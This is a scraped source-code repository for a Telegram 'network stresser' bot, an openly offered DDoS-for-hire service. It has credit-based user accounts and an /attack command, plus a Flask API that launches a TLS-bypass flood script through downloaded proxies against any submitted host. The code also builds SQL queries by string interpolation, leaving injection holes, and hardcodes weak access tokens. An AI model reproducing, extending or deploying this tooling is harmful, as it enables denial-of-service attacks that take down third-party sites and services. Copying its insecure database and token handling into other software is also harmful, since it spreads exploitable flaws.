一个开源的TG DDoS机器人 附带API等
from telegram import Update, constants
from telegram.ext import ContextTypes
import Database
from Config import config
import time

database_file = config.DATABASE.database_file
botdb = Database.BotDatabase(database_file)

async def start(update: Update, context: ContextTypes.DEFAULT_TYPE):
    await context.bot.send_message(chat_id=update.effective_chat.id, text="欢迎使用 Ayachi Network Stresser\n发送 /help 查看帮助\n新用户发送 /register 注册")

async def help(update: Update, context: ContextTypes.DEFAULT_TYPE):
    await context.bot.send_message(chat_id=update.effective_chat.id, text="*Ayachi Network Stresser*\n/attack \\- 提交任务\n/methods \\- 方法列表\n/info \\- 用户信息\n/checkin \\- 签到\n\n*Coded with ❤ by @KawaiiSh1zuku*", parse_mode=constants.ParseMode.MARKDOWN_V2)

async def admin_help(update: Update, context: ContextTypes.DEFAULT_TYPE):
    await context.bot.send_message(chat_id=update.effective_chat.id, text="*Ayachi Network Stresser 管理员命令*\n/ban \\- 封禁用户\n/set\\_credit \\- 设置用户积分\n/set\\_cooldown \\- 设置用户冷却时长\n\n*Coded with ❤ by @KawaiiSh1zuku*", parse_mode=constants.ParseMode.MARKDOWN_V2)

async def register(update: Update, context: ContextTypes.DEFAULT_TYPE):
    user_id = update.effective_user.id
    if(botdb.register(user_id, int(time.time()))):
        response_text = "注册成功！"
    else:
        response_text = "注册失败，用户已注册或被封禁。"
    await context.bot.send_message(chat_id=update.effective_chat.id, text=response_text)

async def checkin(update: Update, context: ContextTypes.DEFAULT_TYPE):
    user_id = update.effective_user.id
    response_text = botdb.checkin(user_id)
    await context.bot.send_message(chat_id=update.effective_chat.id, text=response_text, parse_mode=constants.ParseMode.MARKDOWN_V2)

async def user_info(update: Update, context: ContextTypes.DEFAULT_TYPE):
    user_id = update.effective_user.id
    user_firstname = update.effective_user.first_name
    credit, formatted_time = botdb.search_user_info(user_id)
    if(credit != -1):
        response_text = f'''👤用户: {user_firstname}\n🆔用户ID: `{user_id}`\n⭐️剩余积分: {credit}\n🍃上次签到: {formatted_time}'''
    else:
        response_text = "未注册或被封禁用户"
    await context.bot.send_message(chat_id=update.effective_chat.id, text=response_text, parse_mode=constants.ParseMode.MARKDOWN_V2)

async def admin_ban_user(update: Update, context: ContextTypes.DEFAULT_TYPE):
    telegram_id = update.effective_user.id
    if len(context.args) != 1:
        response_text = "命令用法: /ban user_id"
    else:
        user_id = context.args[0]
        if(botdb.admin_ban_user(telegram_id, user_id)):
            response_text = "封禁成功"
        else:
            response_text = "用户未注册或你无权操作"
    await context.bot.send_message(chat_id=update.effective_chat.id, text=response_text)

async def admin_set_credit(update: Update, context: ContextTypes.DEFAULT_TYPE):
    telegram_id = update.effective_user.id
    if len(context.args) != 2:
        response_text = "命令用法: /set_credit user_id credit"
    else:
        user_id = context.args[0]
        credit = context.args[1]
        if(botdb.admin_set_credit(telegram_id, user_id, credit)):
            response_text = "设置成功"
        else:
            response_text = "用户未注册或你无权操作"
    await context.bot.send_message(chat_id=update.effective_chat.id, text=response_text)

async def admin_set_cooldown(update: Update, context: ContextTypes.DEFAULT_TYPE):
    telegram_id = update.effective_user.id
    if len(context.args) != 2:
        response_text = "命令用法: /set_cooldown user_id cooldown (second)"
    else:
        user_id = context.args[0]
        cooldown = context.args[1]
        if(botdb.admin_set_cooldown(telegram_id, user_id, cooldown)):
            response_text = "设置成功"
        else:
            response_text = "用户未注册或你无权操作"
    await context.bot.send_message(chat_id=update.effective_chat.id, text=response_text)

async def methods(update: Update, context: ContextTypes.DEFAULT_TYPE):
    response_text = botdb.get_methods()
    await context.bot.send_message(chat_id=update.effective_chat.id, text=response_text, parse_mode=constants.ParseMode.MARKDOWN_V2)

async def attack(update: Update, context: ContextTypes.DEFAULT_TYPE):
    telegram_id = update.effective_user.id
    if len(context.args) != 4:
        response_text = "命令用法: /attack 目标 端口 时间 模式"
    else:
        target = context.args[0].strip().split('&')[0].split('|')[0].split(';')[0].split('$')[0].split('>')[0].split('<')[0] # 屏蔽可能出现注入的字符
        port = context.args[1]
        duration = context.args[2]
        method = context.args[3]
        sql_ban = "~!@#$%^&*()+*/<>,.[]\/"
        response_text = ""
        isGoodSQL = False
        for i in sql_ban:
            if i in method:
                isGoodSQL = False
                break
            else:
                isGoodSQL = True
        if isGoodSQL:
            response_text = botdb.attack(telegram_id, target, port, duration, method)
        else:
            response_text = "不合法的模式"
    await context.bot.send_message(chat_id=update.effective_chat.id, text=response_text, parse_mode=constants.ParseMode.MARKDOWN_V2)
BotCommandHandler.py
KawaiiSh1zuku/Telegram-DDoS-Bot
import yaml

class Config:
    class PROXY:
        if_proxy = False
        proxy_url = None
    class DATABASE:
        database = "sqlite"
        database_file = "Ayachi.db"
    class TELEGRAM:
        admin_id = 1379194088
        bot_token = None
    class USER:
        max_attack_duration = 120
        checkin_credit = 120

    class __ConfigSection:
        def __init__(self, section_dict):
            for key, value in section_dict.items():
                setattr(self, key, value)

        def to_dict(self):
            return {attr: getattr(self, attr) for attr in dir(self) if
                    not callable(getattr(self, attr)) and not attr.startswith("__")}

        def __getattr__(self, item):
            setattr(self, item, f'{item}未配置')
            return getattr(self, item)

    def __init__(self, config_path='config.yaml'):
        self.config_path = config_path
        self.config = self._load_config(config_path)
        self._load_attributes()

    def __getattr__(self, item):
       print(item, '不存在')
       setattr(self, item, self.__ConfigSection({}))
       return getattr(self, item)

    def _load_config(self, config_path):
        with open(config_path, 'r', encoding='utf8') as fp:
            return yaml.safe_load(fp)

    def _load_attributes(self):
         for section, values in self.config.items():
            if values:
                section_obj = self.__ConfigSection(values)
                setattr(self, section, section_obj)
            else:
                setattr(self, section, values)

    def save(self, config_path='config.yaml'):
        saved_config = {}
        for section_name, section_obj in self.__dict__.items():
            if isinstance(section_obj, self.__ConfigSection):
                new_section_dict = {}
                for k, v in section_obj.to_dict().items():
                    if str(v).find('未配置') == -1:
                        new_section_dict[k] = v
                saved_config[section_name] = new_section_dict
        with open(config_path, 'w') as fp:
            yaml.dump(saved_config, fp)

        self.config = saved_config
        self.reload()

    def reload(self):
        self.config = self._load_config(self.config_path)
        self._load_attributes()
        return self.config

config = Config()

Config.py
KawaiiSh1zuku/Telegram-DDoS-Bot
import sqlite3
import datetime
import re
import requests
from Config import config
admin_id = config.TELEGRAM.admin_id

class BotDatabase:
    def dict_factory(self, cursor, row):
        d = {}
        for idx, col in enumerate(cursor.description):
            d[col[0]] = row[idx]
        return d

    def __init__(self, database_file): # 连接数据库
        conn = sqlite3.connect(database_file)
        conn.row_factory = self.dict_factory
        curser = conn.cursor()
        self.conn = conn
        self.curser = curser

    def check_user_status(self, telegram_id):
        search_sql = f"SELECT COUNT(*) FROM user WHERE telegram_id = {telegram_id};"
        result = self.curser.execute(search_sql)
        if (result.fetchone()["COUNT(*)"] != 0):
            search_sql = f"SELECT banned FROM user WHERE telegram_id = {telegram_id};"
            result = self.curser.execute(search_sql)
            if (result.fetchone()["banned"] == 0):
                return True
            else:
                return False
        else:
            return False

    def register(self, telegram_id, register_time):
        search_sql = f"SELECT COUNT(*) FROM user WHERE telegram_id = {telegram_id};"
        result = self.curser.execute(search_sql)
        if (result.fetchone()["COUNT(*)"] == 0):
            register_sql = f"INSERT INTO user VALUES (NULL, {telegram_id}, 0, 60, {register_time}, 0, 0, 0);"
            self.curser.execute(register_sql)
            self.conn.commit()
            return True
        else:
            return False

    def checkin(self, telegram_id):
        if (self.check_user_status(telegram_id)):
            search_sql = f"SELECT last_signed_time FROM user WHERE telegram_id = {telegram_id}"
            result = self.curser.execute(search_sql)
            last_signed_time = result.fetchone()["last_signed_time"]
            utc_time = datetime.datetime.utcfromtimestamp(last_signed_time)
            utc8_time = utc_time + datetime.timedelta(hours=8)
            current_time = datetime.datetime.utcnow() + datetime.timedelta(hours=8)
            if utc8_time.date() != current_time.date():
                current_timestamp = int(datetime.datetime.now().timestamp())
                sign_sql = f"UPDATE user SET last_signed_time = {current_timestamp} WHERE telegram_id = {telegram_id}"
                self.curser.execute(sign_sql)
                credit_sql = f"UPDATE user SET credit = credit + {str(config.USER.checkin_credit)} WHERE telegram_id = {telegram_id}"
                self.curser.execute(credit_sql)
                self.conn.commit()
                return (f'''*🎉签到成功🎉*\n您的积分已增加 {str(config.USER.checkin_credit)} 点''')
            else:
                return ('''*🚫签到失败🚫*\n一天只能签到一次哦''')
        else:
            return "未注册或被封禁用户"

    def search_user_info(self, telegram_id):
        if (self.check_user_status(telegram_id)):
            search_sql = f"SELECT credit, last_signed_time FROM user WHERE telegram_id = {telegram_id}"
            result = self.curser.execute(search_sql)
            res = result.fetchone()
            credit = res["credit"]
            last_signed_time = res["last_signed_time"]
            utc_time = datetime.datetime.utcfromtimestamp(last_signed_time)
            utc8_time = utc_time + datetime.timedelta(hours=8)
            formatted_time = utc8_time.strftime("%Y\\-%m\\-%d %H:%M:%S")
            return credit, formatted_time
        else:
            return -1, -1

    def admin_ban_user(self, telegram_id, user_id):
        if (telegram_id == admin_id):
            if (self.check_user_status(user_id)):
                ban_sql = f"UPDATE user SET banned = 1 WHERE telegram_id = {user_id}"
                self.curser.execute(ban_sql)
                self.conn.commit()
                return True
            else:
                return False
        else:
            return False

    def admin_set_credit(self, telegram_id, user_id, credit):
        if (telegram_id == admin_id):
            if (self.check_user_status(user_id)):
                ban_sql = f"UPDATE user SET credit = {credit} WHERE telegram_id = {user_id}"
                self.curser.execute(ban_sql)
                self.conn.commit()
                return True
            else:
                return False
        else:
            return False

    def admin_set_cooldown(self, telegram_id, user_id, cooldown):
        if (telegram_id == admin_id):
            if (self.check_user_status(user_id)):
                ban_sql = f"UPDATE user SET cooldown = {cooldown} WHERE telegram_id = {user_id}"
                self.curser.execute(ban_sql)
                self.conn.commit()
                return True
            else:
                return False
        else:
            return False

    def get_methods(self):
        search_sql = f"SELECT name, description, visible FROM method"
        result = self.curser.execute(search_sql)
        methods = result.fetchall()
        response = "⚡️Methods⚡\n\n️"
        for method in methods:
            name = method['name']
            description = method['description']
            visible = method['visible']
            if visible == 1:
                this_method_text = f'''`{name}` \\>\\> _{description}_\n'''
            else:
                this_method_text = ""
            response += this_method_text
        return response

    def check_blacklist(self, target):
        def is_string_banned(input_string, banned_list):
            for banned_item in banned_list:
                pattern = re.compile(banned_item, re.IGNORECASE)
                if re.search(pattern, input_string):
                    return False
            return True
        search_sql = f"SELECT keyword FROM blacklist"
        result = self.curser.execute(search_sql)
        keyword_list = []
        keywords = result.fetchall()
        for keyword in keywords:
            keyword_list.append(keyword["keyword"])
        return is_string_banned(target, keyword_list)



    def attack(self, telegram_id, target, port, duration, method):
        response = "*🚫提交失败🚫*\n任务因未知原因提交失败"
        def send_attack(apiurl, target, port, duration, token):
            try:
                data = {
                    "method": "GET",
                    "host": target,
                    "duration": duration,
                    "token": token
                }
                rsp = requests.post(apiurl, json=data)
                rsp = rsp.json()
                if rsp['code'] == 200:
                    response = f"*🎉提交成功🎉*\n🎯目标: " + target.replace('.', '\\.') + f"\n🔌端口: `{port}`\n⏳时间: `{duration}`\n⚙️方法: `{method}`\n⭐️积分消耗: `{duration}`"
                    return response
                elif rsp['code'] == 403 and "executed" in rsp['message']:
                    utc_time = datetime.datetime.utcfromtimestamp(rsp['finish_time'])
                    utc8_time = utc_time + datetime.timedelta(hours=8)
                    formatted_time = utc8_time.strftime("%Y\\-%m\\-%d %H:%M:%S")
                    response = f"*🚫提交失败🚫*\n有任务未完成\n预计可用时间: {formatted_time}"
                    return response
                else:
                    response = f"*🚫提交失败🚫*\n未能提交任务\n原因: {rsp['message']}"
                    return response
            except Exception:
                response = "*🚫提交失败🚫*\n任务因未知原因提交失败"
                return response

        if self.check_user_status(telegram_id):
            search_sql = f"SELECT COUNT(*) FROM method WHERE name = '{method}'"
            result = self.curser.execute(search_sql)
            if int(duration) > int(config.USER.max_attack_duration):
                response = f"*🚫提交失败🚫*\n超出设置的最大攻击时长: `{config.DATABASE.max_attack_duration}`"
            else:
                if result.fetchone()["COUNT(*)"] != 0:
                    if self.check_blacklist(target):
                        search_sql = f"SELECT api_url, token FROM method WHERE name = '{method}'"
                        result = self.curser.execute(search_sql)
                        res = result.fetchone()
                        apiurl = res["api_url"]
                        token = res["token"]
                        search_sql = f"SELECT credit, last_finish_time, cooldown FROM user WHERE telegram_id = {telegram_id}"
                        result = self.curser.execute(search_sql)
                        res = result.fetchone()
                        credit = res["credit"]
                        last_finish_time = res["last_finish_time"]
                        cooldown = res["cooldown"]
                        current_timestamp = int(datetime.datetime.now().timestamp())
                        time_difference = current_timestamp - last_finish_time
                        if time_difference <= cooldown:
                            finish_timestamp = last_finish_time + cooldown
                            utc_time = datetime.datetime.utcfromtimestamp(finish_timestamp)
                            utc8_time = utc_time + datetime.timedelta(hours=8)
                            formatted_time = utc8_time.strftime("%Y\\-%m\\-%d %H:%M:%S")
                            response = f"*🚫提交失败🚫*\n冷却时间未结束\n结束时间：{formatted_time}"
                            return response
                        if credit < int(duration):
                            response = "*🚫提交失败🚫*\n积分不足"
                            return response
                        else:
                            response = send_attack(apiurl, target, port, duration, token)
                            if "成功" in response:
                                credit_sql = f"UPDATE user SET credit = credit - {int(duration)} WHERE telegram_id = {telegram_id}"
                                self.curser.execute(credit_sql)
                                current_timestamp = int(datetime.datetime.now().timestamp())
                                finish_timestamp = current_timestamp + cooldown
                                cooldown_sql = f"UPDATE user SET last_finish_time = {finish_timestamp} WHERE telegram_id = {telegram_id}"
                                self.curser.execute(cooldown_sql)
                                self.conn.commit()
                            else:
                                return response
                    else:
                        response = "*🚫提交失败🚫*\n目标命中黑名单"
                else:
                    response = "*🚫提交失败🚫*\n方法不存在"
        else:
            response = "未注册或被封禁用户"
        return response

Database.py
KawaiiSh1zuku/Telegram-DDoS-Bot
from flask import Flask, request, jsonify
import wget
import subprocess
import psutil
import os
import re
from threading import Thread
import datetime

app = Flask(__name__)

token_list = ["iloveu", "123456"]
proxy_api = "https://baidu.com"
banned_list = ["www.gov.cn"]

max_duration = 3600
finish_time = 0

def check_process(process_name):
    for proc in psutil.process_iter(['pid', 'name']):
        if process_name in proc.info['name']:
            return True
    return False

def is_string_banned(input_string, banned_list):
    for banned_item in banned_list:
        pattern = re.compile(banned_item, re.IGNORECASE)
        if re.search(pattern, input_string):
            return True
    return False

@app.errorhandler(404)
def page_not_found(error):
    return '{"code": 404, "message": "API not found"}', 404, [('Content-Type', 'application/json')]

@app.errorhandler(500)
def internal_server_error(error):
    return '{"code": 500, "message": "internal server error"}', 500, [('Content-Type', 'application/json')]
   
@app.route('/send/tls', methods=["GET", "POST"])
def attack_tls():
    def do_attack(method, host, duration):
        proc_obj = subprocess.Popen(["node", "/root/TLS-BYPASS.js", host, duration, "256", "128", "/root/proxy.txt"], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        proc_obj.communicate()
    #if "method" in request.args and "host" in request.args and "duration" in request.args and "token" in request.args:
    if "method" in request.json and "host" in request.json and "duration" in request.json and "token" in request.json:
        if request.method == "GET":
            method = request.args.get('method')
            host = request.args.get('host')
            duration = request.args.get('duration')
            token = request.args.get('token')
        elif request.method == "POST":
            if request.content_type.startswith('application/json'):
                method = request.json.get('method')
                host = request.json.get('host')
                duration = request.json.get('duration')
                token = request.json.get('token')
            elif request.content_type.startswith('multipart/form-data'):
                method = request.form.get('method')
                host = request.form.get('host')
                duration = request.form.get('duration')
                token = request.form.get('token')
            else:
                method = request.values.get('method')
                host = request.values.get('host')
                duration = request.values.get('duration')
                token = request.values.get('token')
        else:
            return '{"code": 405, "message": "Method not allowed"}', 405, [('Content-Type', 'application/json')]
        if int(duration) > max_duration:
            return f'{"code": 403, "message": "Duration should not be longer than {max_duration}"}', 403, [('Content-Type', 'application/json')]
        if method not in ["GET", "POST"]:
            return '{"code": 403, "message": "Method should be GET or POST"}', 403, [('Content-Type', 'application/json')]
        if "https" not in host:
            return '{"code": 403, "message": "Host parse error"}', 403, [('Content-Type', 'application/json')]
        if is_string_banned(host, banned_list):
            return '{"code": 403, "message": "Host is banned"}', 403, [('Content-Type', 'application/json')]
        if token in token_list:
            if check_process("node") == False:
                if(os.path.isfile("/root/proxy.txt")):
                    os.remove("/root/proxy.txt")
                wget.download(proxy_api, "/root/proxy.txt")
                thread = Thread(target=do_attack, kwargs={'method': method, 'host': host, 'duration': duration})
                thread.start()
                global finish_time
                current_timestamp = int(datetime.datetime.now().timestamp())
                finish_time = current_timestamp + int(duration)
                return '{"code": 200, "message": "Sended"}', 200, [('Content-Type', 'application/json')]
            else:
                return '{"code": 403, "message": "There is an attack request being executed", "finish_time": ' + str(finish_time) + '}', 403, [('Content-Type', 'application/json')]
        else:
            return '{"code": 401, "message": "Unauthorized"}', 401, [('Content-Type', 'application/json')]
    else:
        return '{"code": 500, "message": "Missing required parameters"}', 500, [('Content-Type', 'application/json')]
    
@app.route('/killall', methods=["GET", "POST"])
def kill_node():
    if "token" in request.args:
        if request.method == "GET":
            token = request.args.get('token')
        elif request.method == "POST":
            if request.content_type.startswith('application/json'):
                token = request.json.get('token')
            elif request.content_type.startswith('multipart/form-data'):
                token = request.form.get('token')
            else:
                token = request.values.get('token')
        if token in token_list:
            if check_process("node") == True:
                os.system("killall node")
                return '{"code": 200, "message": "Killed"}', 200, [('Content-Type', 'application/json')]
            else:
                return '{"code": 403, "message": "Not running"}', 403, [('Content-Type', 'application/json')]
    else:
        return '{"code": 500, "message": "Missing required parameters"}', 500, [('Content-Type', 'application/json')]

if __name__ == '__main__':
    app.run(host='0.0.0.0',port=51290)
api.py
KawaiiSh1zuku/Telegram-DDoS-Bot
import logging
from telegram import Update, Bot, BotCommand
from telegram.ext import ApplicationBuilder, ContextTypes, CommandHandler
from Config import config
import BotCommandHandler

logging.basicConfig(
    format='%(asctime)s - %(name)s - %(levelname)s - %(message)s',
    level=logging.INFO
)

bot_token = config.TELEGRAM.bot_token
admin_id = config.TELEGRAM.admin_id
database_file = config.DATABASE.database_file
IfProxy = config.PROXY.proxy
cur = None

if IfProxy:
    proxy_url = config.PROXY.proxy_url
else:
    proxy_url = None

async def set_commands(context: ContextTypes.DEFAULT_TYPE):
    await context.bot.set_my_commands(commands=[
        ("help", "命令指南"),
        ("checkin", "每日签到"),
        ("info", "个人信息"),
        ("methods", "方法列表"),
        ("attack", "进行攻击"),
    ])

if __name__ == '__main__':
    application = ApplicationBuilder().token(bot_token).get_updates_proxy_url(proxy_url).build()
    job_queue = application.job_queue
    job_queue.run_once(set_commands, 1)

    # 管理员命令
    ban_handler = CommandHandler('ban', BotCommandHandler.admin_ban_user)
    application.add_handler(ban_handler)
    set_credit_handler = CommandHandler('set_credit', BotCommandHandler.admin_set_credit)
    application.add_handler(set_credit_handler)
    set_cooldown_handler = CommandHandler('set_cooldown', BotCommandHandler.admin_set_cooldown)
    application.add_handler(set_cooldown_handler)
    admin_handler = CommandHandler('admin', BotCommandHandler.admin_help)
    application.add_handler(admin_handler)

    # 用户命令
    start_handler = CommandHandler('start', BotCommandHandler.start)
    application.add_handler(start_handler)
    register_handler = CommandHandler('register', BotCommandHandler.register)
    application.add_handler(register_handler)
    checkin_handler = CommandHandler('checkin', BotCommandHandler.checkin)
    application.add_handler(checkin_handler)
    info_handler = CommandHandler('info', BotCommandHandler.user_info)
    application.add_handler(info_handler)
    method_handler = CommandHandler('methods', BotCommandHandler.methods)
    application.add_handler(method_handler)
    attack_handler = CommandHandler('attack', BotCommandHandler.attack)
    application.add_handler(attack_handler)
    attack_handler = CommandHandler('help', BotCommandHandler.help)
    application.add_handler(attack_handler)

    application.run_polling()
main.py
KawaiiSh1zuku/Telegram-DDoS-Bot